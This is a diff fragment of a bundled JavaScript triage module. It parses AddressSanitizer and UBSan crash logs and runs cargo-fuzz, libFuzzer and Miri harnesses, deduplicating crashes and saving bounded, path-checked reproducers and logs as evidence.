|
1409
|
+
"stack-use-after-scope": "use-after-free",
|
|
1410
|
+
"double-free": "double-free",
|
|
1411
|
+
"attempting-double-free": "double-free",
|
|
1412
|
+
"stack-buffer-overflow": "stack-buffer-overflow",
|
|
1413
|
+
"heap-buffer-overflow": "heap-overflow",
|
|
1414
|
+
"global-buffer-overflow": "heap-overflow"
|
|
1415
|
+
};
|
|
1416
|
+
function categoryForAsan(kind, primitive) {
|
|
1417
|
+
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
|
|
1418
|
+
return "out-of-bounds-read";
|
|
1419
|
+
}
|
|
1420
|
+
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
|
|
1421
|
+
return "out-of-bounds-write";
|
|
1422
|
+
}
|
|
1423
|
+
return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
|
|
1424
|
+
}
|
|
1425
|
+
function categoryForUbsan(message) {
|
|
1426
|
+
const lower = message.toLowerCase();
|
|
1427
|
+
if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
|
|
1428
|
+
return { kind: "signed-integer-overflow", category: "integer-overflow" };
|
|
1429
|
+
}
|
|
1430
|
+
if (lower.includes("shift exponent") || lower.includes("shift base")) {
|
|
1431
|
+
return { kind: "shift-exponent", category: "integer-overflow" };
|
|
1432
|
+
}
|
|
1433
|
+
if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
|
|
1434
|
+
return { kind: "float-cast-overflow", category: "integer-truncation" };
|
|
1435
|
+
}
|
|
1436
|
+
if (lower.includes("null pointer") || lower.includes("null-pointer")) {
|
|
1437
|
+
return { kind: "null-pointer-use", category: "null-deref" };
|
|
1438
|
+
}
|
|
1439
|
+
return { kind: "undefined-behavior", category: "other" };
|
|
1440
|
+
}
|
|
1441
|
+
function parsePrimitive(text) {
|
|
1442
|
+
const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
|
|
1443
|
+
if (!access)
|
|
1444
|
+
return { primitive: "unknown" };
|
|
1445
|
+
return {
|
|
1446
|
+
primitive: access[1].toLowerCase(),
|
|
1447
|
+
accessSize: Number(access[2])
|
|
1448
|
+
};
|
|
1449
|
+
}
|
|
1450
|
+
function parseFrames(text) {
|
|
1451
|
+
const frames = [];
|
|
1452
|
+
const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
|
|
1453
|
+
let match;
|
|
1454
|
+
while ((match = frameRegex.exec(text)) !== null) {
|
|
1455
|
+
frames.push({
|
|
1456
|
+
functionName: match[1],
|
|
1457
|
+
file: match[2],
|
|
1458
|
+
line: Number(match[3])
|
|
1459
|
+
});
|
|
1460
|
+
}
|
|
1461
|
+
return frames;
|
|
1462
|
+
}
|
|
1463
|
+
function parseAsan(text) {
|
|
1464
|
+
const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
|
|
1465
|
+
if (!header?.[1])
|
|
1466
|
+
return null;
|
|
1467
|
+
const kind = header[1].toLowerCase();
|
|
1468
|
+
const { primitive, accessSize } = parsePrimitive(text);
|
|
1469
|
+
const frames = parseFrames(text);
|
|
1470
|
+
let sourceFile = frames[0]?.file;
|
|
1471
|
+
let sourceLine = frames[0]?.line;
|
|
1472
|
+
const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
|
|
1473
|
+
if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
|
|
1474
|
+
sourceFile = summary[1];
|
|
1475
|
+
sourceLine = Number(summary[2]);
|
|
1476
|
+
}
|
|
1477
|
+
const allocMatch = text.match(/\b(\d+)-byte region\b/i);
|
|
1478
|
+
const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
|
|
1479
|
+
return {
|
|
1480
|
+
sanitizer: "asan",
|
|
1481
|
+
kind,
|
|
1482
|
+
category: categoryForAsan(kind, primitive),
|
|
1483
|
+
primitive,
|
|
1484
|
+
sourceFile,
|
|
1485
|
+
sourceLine,
|
|
1486
|
+
allocSize,
|
|
1487
|
+
accessSize,
|
|
1488
|
+
summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
|
|
1489
|
+
frames
|
|
1490
|
+
};
|
|
1491
|
+
}
|
|
1492
|
+
function parseUbsan(text) {
|
|
1493
|
+
const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
|
|
1494
|
+
if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
|
|
1495
|
+
return null;
|
|
1496
|
+
const details = runtime[4].trim();
|
|
1497
|
+
const { kind, category } = categoryForUbsan(details);
|
|
1498
|
+
return {
|
|
1499
|
+
sanitizer: "ubsan",
|
|
1500
|
+
kind,
|
|
1501
|
+
category,
|
|
1502
|
+
primitive: "unknown",
|
|
1503
|
+
sourceFile: runtime[1],
|
|
1504
|
+
sourceLine: Number(runtime[2]),
|
|
1505
|
+
summary: details,
|
|
1506
|
+
frames: []
|
|
1507
|
+
};
|
|
1508
|
+
}
|
|
1509
|
+
function parseSanitizerLog(text) {
|
|
1510
|
+
const trimmed = text.trim();
|
|
1511
|
+
if (!trimmed)
|
|
1512
|
+
return null;
|
|
1513
|
+
return parseAsan(trimmed) ?? parseUbsan(trimmed);
|
|
1514
|
+
}
|
|
1515
|
+
function renderSanitizerVerdict(verdict) {
|
|
1516
|
+
const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
|
|
1517
|
+
const sizes = [
|
|
1518
|
+
verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
|
|
1519
|
+
verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
|
|
1520
|
+
].filter(Boolean).join(", ");
|
|
1521
|
+
return [
|
|
1522
|
+
`${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
|
|
1523
|
+
`category=${verdict.category}`,
|
|
1524
|
+
`primitive=${verdict.primitive}`,
|
|
1525
|
+
`source=${loc}`,
|
|
1526
|
+
sizes || null
|
|
1527
|
+
].filter(Boolean).join("; ");
|
|
1528
|
+
}
|
|
1381
1529
|
|
|
1382
|
-
|
|
1383
|
-
|
|
1384
|
-
|
|
1385
|
-
|
|
1386
|
-
|
|
1387
|
-
|
|
1530
|
+
// packages/core/dist/triage/userspace-fuzz-runner.js
|
|
1531
|
+
var MEMSAFETY_ARTIFACT_SCHEMA = "0-memsafety-artifacts/v1";
|
|
1532
|
+
var MAX_RETAINED_CRASHES = 16;
|
|
1533
|
+
var MAX_RETAINED_REPRODUCER_BYTES = 1024 * 1024;
|
|
1534
|
+
var MAX_RETAINED_LOG_BYTES = 256 * 1024;
|
|
1535
|
+
var DEFAULT_RETAINED_ARTIFACT_BYTES = 4 * 1024 * 1024;
|
|
1536
|
+
var MIN_RETAINED_ARTIFACT_BYTES = 64 * 1024;
|
|
1537
|
+
var ARTIFACT_MANIFEST_RESERVE_BYTES = 64 * 1024;
|
|
1538
|
+
var TOOLING_HINTS = {
|
|
1539
|
+
cargo: "cargo not found \u2014 install the Rust toolchain via https://rustup.rs",
|
|
1540
|
+
"cargo-fuzz": "cargo-fuzz not found \u2014 install with `cargo install cargo-fuzz` (requires a nightly toolchain for `cargo fuzz run`)",
|
|
1541
|
+
"cargo-fuzz-harness": "cargo-fuzz needs exactly one harness \u2014 pass `--harness <name>` or provide a source tree with one cargo-fuzz target",
|
|
1542
|
+
miri: "miri not found \u2014 install with `rustup +nightly component add miri`",
|
|
1543
|
+
clang: "clang not found \u2014 install LLVM/clang to compile the libFuzzer harness"
|
|
1544
|
+
};
|
|
1545
|
+
function commandAvailable(command, args) {
|
|
1546
|
+
return new Promise((resolveProbe) => {
|
|
1547
|
+
execFile(command, args, { timeout: 1e4, env: fuzzChildEnv() }, (error) => {
|
|
1548
|
+
resolveProbe(!error);
|
|
1549
|
+
});
|
|
1550
|
+
});
|
|
1551
|
+
}
|
|
1552
|
+
async function cargoAvailable() {
|
|
1553
|
+
return commandAvailable("cargo", ["--version"]);
|
|
1554
|
+
}
|
|
1555
|
+
async function cargoFuzzAvailable() {
|
|
1556
|
+
return commandAvailable("cargo", ["fuzz", "--help"]);
|
|
1557
|
+
}
|
|
1558
|
+
async function miriAvailable() {
|
|
1559
|
+
return commandAvailable("cargo", ["+nightly", "miri", "--version"]);
|
|
1560
|
+
}
|
|
1561
|
+
async function clangAvailable() {
|
|
1562
|
+
return commandAvailable("clang", ["--version"]);
|
|
1563
|
+
}
|
|
1564
|
+
var ASAN_PRIMITIVE = {
|
|
1565
|
+
"heap-use-after-free": "use-after-free",
|
|
1566
|
+
"stack-use-after-return": "use-after-free",
|
|
1567
|
+
"stack-use-after-scope": "use-after-free",
|
|
1568
|
+
"double-free": "double-free",
|
|
1569
|
+
"attempting-double-free": "double-free",
|
|
1570
|
+
"stack-buffer-overflow": "stack-oob"
|
|
1571
|
+
};
|
|
1572
|
+
function primitiveFromSanitizerKind(kind, rw) {
|
|
1573
|
+
if (kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") {
|
|
1574
|
+
return rw === "write" ? "heap-oob-write" : "heap-oob-read";
|
|
1575
|
+
}
|
|
1576
|
+
const direct = ASAN_PRIMITIVE[kind];
|
|
1577
|
+
if (direct)
|
|
1578
|
+
return direct;
|
|
1579
|
+
if (kind === "signed-integer-overflow" || kind === "shift-exponent") {
|
|
1580
|
+
return "integer-overflow";
|
|
1581
|
+
}
|
|
1582
|
+
if (kind === "null-pointer-use")
|
|
1583
|
+
return "null-deref";
|
|
1584
|
+
return "unknown";
|
|
1585
|
+
}
|
|
1586
|
+
function signatureFromFrames(kind, frames, rawOutput) {
|
|
1587
|
+
const top = frames.map((f) => normaliseFrame(f)).filter(Boolean).slice(0, 5);
|
|
1588
|
+
const basis = top.length > 0 ? `${kind}
|
|
1589
|
+
${top.join("\n")}` : `${kind}
|
|
1590
|
+
${rawOutput.trim().split("\n").slice(0, 3).join("\n")}`;
|
|
1591
|
+
return createHash("sha256").update(basis).digest("hex").slice(0, 16);
|
|
1592
|
+
}
|
|
1593
|
+
function normaliseFrame(frame) {
|
|
1594
|
+
return frame.replace(/0x[0-9a-fA-F]+/g, "").replace(/\+0x[0-9a-fA-F]+(\/0x[0-9a-fA-F]+)?/g, "").replace(/:\d+(:\d+)?\b/g, "").replace(/\s+/g, " ").trim();
|
|
1595
|
+
}
|
|
1596
|
+
function parseCrashOutput(output, hint) {
|
|
1597
|
+
const text = output.trim();
|
|
1598
|
+
if (!text)
|
|
1599
|
+
return null;
|
|
1600
|
+
const sanitizer = parseSanitizerLog(text);
|
|
1601
|
+
if (sanitizer) {
|
|
1602
|
+
const frames = sanitizer.frames.map((f) => [f.functionName, f.file && `${f.file}:${f.line ?? ""}`].filter(Boolean).join(" "));
|
|
1603
|
+
const kind = sanitizer.sanitizer === "asan" ? "asan" : "ubsan";
|
|
1604
|
+
const rw = sanitizer.primitive === "read" || sanitizer.primitive === "write" ? sanitizer.primitive : "unknown";
|
|
1605
|
+
return {
|
|
1606
|
+
kind,
|
|
1607
|
+
signature: signatureFromFrames(sanitizer.kind, frames, text),
|
|
1608
|
+
rawOutput: text,
|
|
1609
|
+
inputPath: hint?.inputPath,
|
|
1610
|
+
stack: frames.length > 0 ? frames : void 0,
|
|
1611
|
+
primitive: primitiveFromSanitizerKind(sanitizer.kind, rw)
|
|
1612
|
+
};
|
|
1613
|
+
}
|
|
1614
|
+
if (/error: Undefined Behavior|Miri caught|error\[E\d+\].*unsafe/i.test(text)) {
|
|
1615
|
+
const frames = parseMiriFrames(text);
|
|
1616
|
+
return {
|
|
1617
|
+
kind: "miri",
|
|
1618
|
+
signature: signatureFromFrames("miri", frames, text),
|
|
1619
|
+
rawOutput: text,
|
|
1620
|
+
inputPath: hint?.inputPath,
|
|
1621
|
+
stack: frames.length > 0 ? frames : void 0,
|
|
1622
|
+
primitive: primitiveFromMiri(text)
|
|
1623
|
+
};
|
|
1624
|
+
}
|
|
1625
|
+
if (/thread '.*' panicked at|panicked at/i.test(text)) {
|
|
1626
|
+
const frames = parseRustBacktrace(text);
|
|
1627
|
+
return {
|
|
1628
|
+
kind: "panic",
|
|
1629
|
+
signature: signatureFromFrames("panic", frames, text),
|
|
1630
|
+
rawOutput: text,
|
|
1631
|
+
inputPath: hint?.inputPath,
|
|
1632
|
+
stack: frames.length > 0 ? frames : void 0,
|
|
1633
|
+
primitive: primitiveFromPanic(text)
|
|
1634
|
+
};
|
|
1635
|
+
}
|
|
1636
|
+
if (hint?.kind === "timeout") {
|
|
1637
|
+
return {
|
|
1638
|
+
kind: "timeout",
|
|
1639
|
+
signature: signatureFromFrames("timeout", [], text),
|
|
1640
|
+
rawOutput: text,
|
|
1641
|
+
inputPath: hint?.inputPath,
|
|
1642
|
+
primitive: "unknown"
|
|
1643
|
+
};
|
|
1644
|
+
}
|
|
1645
|
+
if (/out-of-memory|libFuzzer: out-of-memory|rss limit exceeded/i.test(text)) {
|
|
1646
|
+
return {
|
|
1647
|
+
kind: "oom",
|
|
1648
|
+
signature: signatureFromFrames("oom", [], text),
|
|
1649
|
+
rawOutput: text,
|
|
1650
|
+
inputPath: hint?.inputPath,
|
|
1651
|
+
primitive: "unknown"
|
|
1652
|
+
};
|
|
1653
|
+
}
|
|
1654
|
+
if (hint?.kind === "segfault" || /SEGV|segmentation fault|deadly signal|SIGSEGV/i.test(text)) {
|
|
1655
|
+
return {
|
|
1656
|
+
kind: "segfault",
|
|
1657
|
+
signature: signatureFromFrames("segfault", parseRustBacktrace(text), text),
|
|
1658
|
+
rawOutput: text,
|
|
1659
|
+
inputPath: hint?.inputPath,
|
|
1660
|
+
primitive: "null-deref"
|
|
1661
|
+
};
|
|
1662
|
+
}
|
|
1663
|
+
return null;
|
|
1664
|
+
}
|
|
1665
|
+
function parseMiriFrames(text) {
|
|
1666
|
+
const frames = [];
|
|
1667
|
+
const locRe = /-->\s+(.+?:\d+(?::\d+)?)/g;
|
|
1668
|
+
let m;
|
|
1669
|
+
while ((m = locRe.exec(text)) !== null)
|
|
1670
|
+
frames.push(m[1]);
|
|
1671
|
+
return frames.length > 0 ? frames : parseRustBacktrace(text);
|
|
1672
|
+
}
|
|
1673
|
+
function parseRustBacktrace(text) {
|
|
1674
|
+
const frames = [];
|
|
1675
|
+
const symRe = /^\s*\d+:\s+(.+)$/gm;
|
|
1676
|
+
let m;
|
|
1677
|
+
while ((m = symRe.exec(text)) !== null)
|
|
1678
|
+
frames.push(m[1].trim());
|
|
1679
|
+
return frames;
|
|
1680
|
+
}
|
|
1681
|
+
function primitiveFromMiri(text) {
|
|
1682
|
+
const lower = text.toLowerCase();
|
|
1683
|
+
if (lower.includes("use-after-free") || lower.includes("dangling")) {
|
|
1684
|
+
return "use-after-free";
|
|
1685
|
+
}
|
|
1686
|
+
if (lower.includes("uninitialized"))
|
|
1687
|
+
return "uninit-read";
|
|
1688
|
+
if (lower.includes("out-of-bounds") || lower.includes("out of bounds")) {
|
|
1689
|
+
return "heap-oob-read";
|
|
1690
|
+
}
|
|
1691
|
+
if (lower.includes("null pointer") || lower.includes("null reference")) {
|
|
1692
|
+
return "null-deref";
|
|
1693
|
+
}
|
|
1694
|
+
if (lower.includes("type") && lower.includes("validity"))
|
|
1695
|
+
return "type-confusion";
|
|
1696
|
+
return "unknown";
|
|
1697
|
+
}
|
|
1698
|
+
function primitiveFromPanic(text) {
|
|
1699
|
+
const lower = text.toLowerCase();
|
|
1700
|
+
if (lower.includes("index out of bounds"))
|
|
1701
|
+
return "heap-oob-read";
|
|
1702
|
+
if (lower.includes("overflow"))
|
|
1703
|
+
return "integer-overflow";
|
|
1704
|
+
return "unknown";
|
|
1705
|
+
}
|
|
1706
|
+
var FUZZ_TOOLCHAIN_ENV_PASSTHROUGH = [
|
|
1707
|
+
"CARGO_HOME",
|
|
1708
|
+
"RUSTUP_HOME",
|
|
1709
|
+
"RUSTUP_TOOLCHAIN",
|
|
1710
|
+
"CARGO_TARGET_DIR"
|
|
1711
|
+
];
|
|
1712
|
+
function fuzzChildEnv() {
|
|
1713
|
+
const extras = {};
|
|
1714
|
+
for (const key of FUZZ_TOOLCHAIN_ENV_PASSTHROUGH) {
|
|
1715
|
+
const value = process.env[key];
|
|
1716
|
+
if (value !== void 0)
|
|
1717
|
+
extras[key] = value;
|
|
1718
|
+
}
|
|
1719
|
+
return allowlistedChildEnv(extras);
|
|
1720
|
+
}
|
|
1721
|
+
function runChild(command, args, cwd, timeoutMs) {
|
|
1722
|
+
return new Promise((resolveRun) => {
|
|
1723
|
+
execFile(command, args, { cwd, timeout: timeoutMs, maxBuffer: 16 * 1024 * 1024, killSignal: "SIGKILL", env: fuzzChildEnv() }, (error, stdout, stderr) => {
|
|
1724
|
+
const stdoutText = String(stdout ?? "");
|
|
1725
|
+
const output = `${stdoutText}${String(stderr ?? "")}`;
|
|
1726
|
+
const timedOut = Boolean(error && error.killed);
|
|
1727
|
+
const signalled = Boolean(error && error.signal);
|
|
1728
|
+
resolveRun({
|
|
1729
|
+
output,
|
|
1730
|
+
stdout: stdoutText,
|
|
1731
|
+
timedOut,
|
|
1732
|
+
signalled,
|
|
1733
|
+
failed: Boolean(error)
|
|
1734
|
+
});
|
|
1735
|
+
});
|
|
1736
|
+
});
|
|
1737
|
+
}
|
|
1738
|
+
function dedupeBySignature(crashes) {
|
|
1739
|
+
const seen = /* @__PURE__ */ new Map();
|
|
1740
|
+
for (const crash of crashes) {
|
|
1741
|
+
if (!seen.has(crash.signature))
|
|
1742
|
+
seen.set(crash.signature, crash);
|
|
1743
|
+
}
|
|
1744
|
+
return Array.from(seen.values());
|
|
1745
|
+
}
|
|
1746
|
+
function pathIsWithin(root, candidate) {
|
|
1747
|
+
const rel = relative(root, candidate);
|
|
1748
|
+
return rel === "" || rel !== ".." && !rel.startsWith(`..${sep}`) && !isAbsolute(rel);
|
|
1749
|
+
}
|
|
1750
|
+
function resolveCargoFuzzDir(sourceRoot, fuzzDir) {
|
|
1751
|
+
const raw = fuzzDir?.trim() || "fuzz";
|
|
1752
|
+
if (isAbsolute(raw))
|
|
1753
|
+
return void 0;
|
|
1754
|
+
const candidate = resolve(sourceRoot, raw);
|
|
1755
|
+
if (!pathIsWithin(sourceRoot, candidate))
|
|
1756
|
+
return void 0;
|
|
1757
|
+
try {
|
|
1758
|
+
const canonical = realpathSync(candidate);
|
|
1759
|
+
return canonical === candidate && pathIsWithin(sourceRoot, canonical) ? canonical : void 0;
|
|
1760
|
+
} catch {
|
|
1761
|
+
return void 0;
|
|
1762
|
+
}
|
|
1763
|
+
}
|
|
1764
|
+
function isCargoFuzzHarnessName(value) {
|
|
1765
|
+
return /^[A-Za-z0-9][A-Za-z0-9_-]*$/.test(value);
|
|
1766
|
+
}
|
|
1767
|
+
function isStableSourceDirectory(sourceRoot, directory) {
|
|
1768
|
+
try {
|
|
1769
|
+
const canonical = realpathSync(directory);
|
|
1770
|
+
return canonical === directory && pathIsWithin(sourceRoot, canonical);
|
|
1771
|
+
} catch {
|
|
1772
|
+
return false;
|
|
1773
|
+
}
|
|
1774
|
+
}
|
|
1775
|
+
function resolveArtifactRoot(artifactDir, sourceRoot) {
|
|
1776
|
+
if (!artifactDir)
|
|
1777
|
+
return void 0;
|
|
1778
|
+
mkdirSync(artifactDir, { recursive: true, mode: 448 });
|
|
1779
|
+
const canonical = realpathSync(artifactDir);
|
|
1780
|
+
if (pathIsWithin(sourceRoot, canonical)) {
|
|
1781
|
+
throw new Error("artifactDir must resolve outside the prepared source tree");
|
|
1782
|
+
}
|
|
1783
|
+
return artifactDir;
|
|
1784
|
+
}
|
|
1785
|
+
function makeArtifactDir(artifactDir) {
|
|
1786
|
+
if (artifactDir) {
|
|
1787
|
+
return { dir: mkdtempSync(join(artifactDir, "0-uf-")), ephemeral: false };
|
|
1788
|
+
}
|
|
1789
|
+
return { dir: mkdtempSync(join(tmpdir(), "0-uf-")), ephemeral: true };
|
|
1790
|
+
}
|
|
1791
|
+
function corpusCount(dir) {
|
|
1792
|
+
try {
|
|
1793
|
+
return readdirSync(dir).filter((name) => {
|
|
1794
|
+
try {
|
|
1795
|
+
return statSync(join(dir, name)).isFile();
|
|
1796
|
+
} catch {
|
|
1797
|
+
return false;
|
|
1798
|
+
}
|
|
1799
|
+
}).length;
|
|
1800
|
+
} catch {
|
|
1801
|
+
return 0;
|
|
1802
|
+
}
|
|
1803
|
+
}
|
|
1804
|
+
async function runUserspaceFuzzLoop(opts) {
|
|
1805
|
+
const log = opts.logger ?? ((line) => console.log(line));
|
|
1806
|
+
const sourceRoot = resolve(opts.target.sourceRoot);
|
|
1807
|
+
const canonicalSourceRoot = existsSync(sourceRoot) ? realpathSync(sourceRoot) : sourceRoot;
|
|
1808
|
+
const runOpts = {
|
|
1809
|
+
...opts,
|
|
1810
|
+
target: { ...opts.target, sourceRoot: canonicalSourceRoot }
|
|
1811
|
+
};
|
|
1812
|
+
const start = Date.now();
|
|
1813
|
+
const timeoutSec = opts.timeoutSec ?? parseInt(process.env["ZERO_USERSPACE_FUZZ_TIMEOUT_SEC"]?.trim() || "60", 10);
|
|
1814
|
+
const timeoutMs = Math.max(1, timeoutSec) * 1e3;
|
|
1815
|
+
const artifactDir = resolveArtifactRoot(opts.artifactDir, canonicalSourceRoot);
|
|
1816
|
+
const artifactMaxBytes = artifactDir ? resolveRetainedArtifactBytes(opts.artifactMaxBytes) : null;
|
|
1817
|
+
const { dir: workDir, ephemeral } = makeArtifactDir(artifactDir);
|
|
1818
|
+
const toolingMissing = [];
|
|
1819
|
+
let retained = false;
|
|
1820
|
+
try {
|
|
1821
|
+
const result = runOpts.target.language === "rust" ? await runRustLoop(runOpts, { workDir, timeoutMs, toolingMissing, log, start }) : await runCLoop(runOpts, { workDir, timeoutMs, toolingMissing, log, start });
|
|
1822
|
+
if (!ephemeral && artifactMaxBytes !== null) {
|
|
1823
|
+
retained = persistCapturedArtifacts(result, workDir, canonicalSourceRoot, artifactMaxBytes, log);
|
|
1824
|
+
}
|
|
1825
|
+
return result;
|
|
1826
|
+
} finally {
|
|
1827
|
+
if (ephemeral || !retained)
|
|
1828
|
+
rmSync(workDir, { recursive: true, force: true });
|
|
1829
|
+
}
|
|
1830
|
+
}
|
|
1831
|
+
function persistCapturedArtifacts(result, workDir, sourceRoot, maxBytes, log) {
|
|
1832
|
+
if (result.crashes.length === 0)
|
|
1833
|
+
return false;
|
|
1834
|
+
const runDir = basename(workDir);
|
|
1835
|
+
const logsDir = join(workDir, "logs");
|
|
1836
|
+
const reproducersDir = join(workDir, "reproducers");
|
|
1837
|
+
mkdirSync(logsDir, { recursive: true, mode: 448 });
|
|
1838
|
+
mkdirSync(reproducersDir, { recursive: true, mode: 448 });
|
|
1839
|
+
let remaining = maxBytes - ARTIFACT_MANIFEST_RESERVE_BYTES;
|
|
1840
|
+
const crashes = result.crashes.slice(0, MAX_RETAINED_CRASHES).map((crash, index) => {
|
|
1841
|
+
const id = safeArtifactId(crash.signature, index);
|
|
1842
|
+
let reproducer = null;
|
|
1843
|
+
if (crash.inputPath && remaining > 0) {
|
|
1844
|
+
const reproducerRef = `${runDir}/reproducers/${id}.input`;
|
|
1845
|
+
reproducer = copyBoundedReproducer(crash.inputPath, join(reproducersDir, `${id}.input`), reproducerRef, sourceRoot, Math.min(MAX_RETAINED_REPRODUCER_BYTES, remaining));
|
|
1846
|
+
if (reproducer) {
|
|
1847
|
+
remaining -= reproducer.sizeBytes;
|
|
1848
|
+
crash.inputPath = join(reproducersDir, `${id}.input`);
|
|
1849
|
+
crash.artifactRef = reproducer.ref;
|
|
1850
|
+
} else {
|
|
1851
|
+
log(`[userspace-fuzz] did not retain reproducer for ${crash.signature} (missing, non-regular, changed while read, or exceeds the remaining evidence budget)`);
|
|
1852
|
+
}
|
|
1853
|
+
}
|
|
1854
|
+
const logRef = `${runDir}/logs/${id}.log`;
|
|
1855
|
+
const logFile = writeBoundedUtf8File(join(logsDir, `${id}.log`), crash.rawOutput, Math.min(MAX_RETAINED_LOG_BYTES, remaining));
|
|
1856
|
+
if (logFile)
|
|
1857
|
+
remaining -= logFile.sizeBytes;
|
|
1858
|
+
return {
|
|
1859
|
+
signature: crash.signature,
|
|
1860
|
+
kind: crash.kind,
|
|
1861
|
+
primitive: crash.primitive ?? null,
|
|
1862
|
+
stack: boundedStack(crash.stack),
|
|
1863
|
+
log: logFile ? { ...logFile, ref: logRef } : null,
|
|
1864
|
+
reproducer
|
|
1865
|
+
};
|
|
1866
|
+
});
|
|
1867
|
+
if (result.crashes.length > MAX_RETAINED_CRASHES) {
|
|
1868
|
+
log(`[userspace-fuzz] retained the first ${MAX_RETAINED_CRASHES} of ${result.crashes.length} deduplicated crashes`);
|
|
1869
|
+
}
|
|
1870
|
+
const manifest = Buffer.from(JSON.stringify({
|
|
1871
|
+
schema: MEMSAFETY_ARTIFACT_SCHEMA,
|
|
1872
|
+
crashes
|
|
1873
|
+
}, null, 2) + "\n", "utf8");
|
|
1874
|
+
if (manifest.byteLength > ARTIFACT_MANIFEST_RESERVE_BYTES) {
|
|
1875
|
+
rmSync(logsDir, { recursive: true, force: true });
|
|
1876
|
+
rmSync(reproducersDir, { recursive: true, force: true });
|
|
1877
|
+
log("[userspace-fuzz] evidence manifest exceeded its bounded reserve; discarded this run's retained copies");
|
|
1878
|
+
return false;
|
|
1879
|
+
}
|
|
1880
|
+
writeFileSync(join(workDir, "manifest.json"), manifest, {
|
|
1881
|
+
flag: "wx",
|
|
1882
|
+
mode: 384
|
|
1883
|
+
});
|
|
1884
|
+
return true;
|
|
1885
|
+
}
|
|
1886
|
+
function resolveRetainedArtifactBytes(value) {
|
|
1887
|
+
const bytes = value ?? DEFAULT_RETAINED_ARTIFACT_BYTES;
|
|
1888
|
+
if (!Number.isSafeInteger(bytes) || bytes < MIN_RETAINED_ARTIFACT_BYTES) {
|
|
1889
|
+
throw new Error(`artifactMaxBytes must be a safe integer of at least ${MIN_RETAINED_ARTIFACT_BYTES}`);
|
|
1890
|
+
}
|
|
1891
|
+
return bytes;
|
|
1892
|
+
}
|
|
1893
|
+
function safeArtifactId(signature, index) {
|
|
1894
|
+
if (/^[0-9a-f]{16}$/.test(signature))
|
|
1895
|
+
return signature;
|
|
1896
|
+
return createHash("sha256").update(`${index}\0${signature}`).digest("hex").slice(0, 16);
|
|
1897
|
+
}
|
|
1898
|
+
function boundedStack(stack) {
|
|
1899
|
+
return (stack ?? []).slice(0, 10).map((frame) => frame.slice(0, 1024));
|
|
1900
|
+
}
|
|
1901
|
+
function writeBoundedUtf8File(path, value, limit) {
|
|
1902
|
+
if (limit <= 0)
|
|
1903
|
+
return null;
|
|
1904
|
+
const input = Buffer.from(value, "utf8");
|
|
1905
|
+
const truncated = input.length > limit;
|
|
1906
|
+
const bytes = truncated ? input.subarray(input.length - limit) : input;
|
|
1907
|
+
writeFileSync(path, bytes, { flag: "wx", mode: 384 });
|
|
1908
|
+
return {
|
|
1909
|
+
sha256: createHash("sha256").update(bytes).digest("hex"),
|
|
1910
|
+
sizeBytes: bytes.length,
|
|
1911
|
+
...truncated ? { truncated: true } : {}
|
|
1912
|
+
};
|
|
1913
|
+
}
|
|
1914
|
+
function copyBoundedReproducer(source, destination, ref, sourceRoot, limit) {
|
|
1915
|
+
let fd;
|
|
1916
|
+
try {
|
|
1917
|
+
if (!isStableSourceDirectory(sourceRoot, dirname(source))) {
|
|
1918
|
+
return null;
|
|
1919
|
+
}
|
|
1920
|
+
const listed = lstatSync(source);
|
|
1921
|
+
if (!listed.isFile() || listed.isSymbolicLink() || listed.size > limit) {
|
|
1922
|
+
return null;
|
|
1923
|
+
}
|
|
1924
|
+
fd = openSync(source, constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0));
|
|
1925
|
+
const before = fstatSync(fd);
|
|
1926
|
+
if (!before.isFile() || before.dev !== listed.dev || before.ino !== listed.ino || before.size !== listed.size || before.mtimeMs !== listed.mtimeMs) {
|
|
1927
|
+
return null;
|
|
1928
|
+
}
|
|
1929
|
+
const bytes = readFileSync(fd);
|
|
1930
|
+
const after = fstatSync(fd);
|
|
1931
|
+
if (before.dev !== after.dev || before.ino !== after.ino || before.size !== after.size || before.mtimeMs !== after.mtimeMs || bytes.length !== before.size) {
|
|
1932
|
+
return null;
|
|
1933
|
+
}
|
|
1934
|
+
if (!isStableSourceDirectory(sourceRoot, dirname(source))) {
|
|
1935
|
+
return null;
|
|
1936
|
+
}
|
|
1937
|
+
writeFileSync(destination, bytes, { flag: "wx", mode: 384 });
|
|
1938
|
+
return {
|
|
1939
|
+
ref,
|
|
1940
|
+
sha256: createHash("sha256").update(bytes).digest("hex"),
|
|
1941
|
+
sizeBytes: bytes.length
|
|
1942
|
+
};
|
|
1943
|
+
} catch {
|
|
1944
|
+
return null;
|
|
1945
|
+
} finally {
|
|
1946
|
+
if (fd !== void 0)
|
|
1947
|
+
closeSync(fd);
|
|
1948
|
+
}
|
|
1949
|
+
}
|
|
1950
|
+
function cargoFuzzRunArgs(harnessEntry, fuzzDir, timeoutSec) {
|
|
1951
|
+
const fuzzDirArgs = fuzzDir ? ["--fuzz-dir", fuzzDir] : [];
|
|
1952
|
+
return [
|
|
1953
|
+
"fuzz",
|
|
1954
|
+
"run",
|
|
1955
|
+
...fuzzDirArgs,
|
|
1956
|
+
harnessEntry,
|
|
1957
|
+
"--",
|
|
1958
|
+
`-max_total_time=${Math.floor(timeoutSec)}`
|
|
1959
|
+
];
|
|
1960
|
+
}
|
|
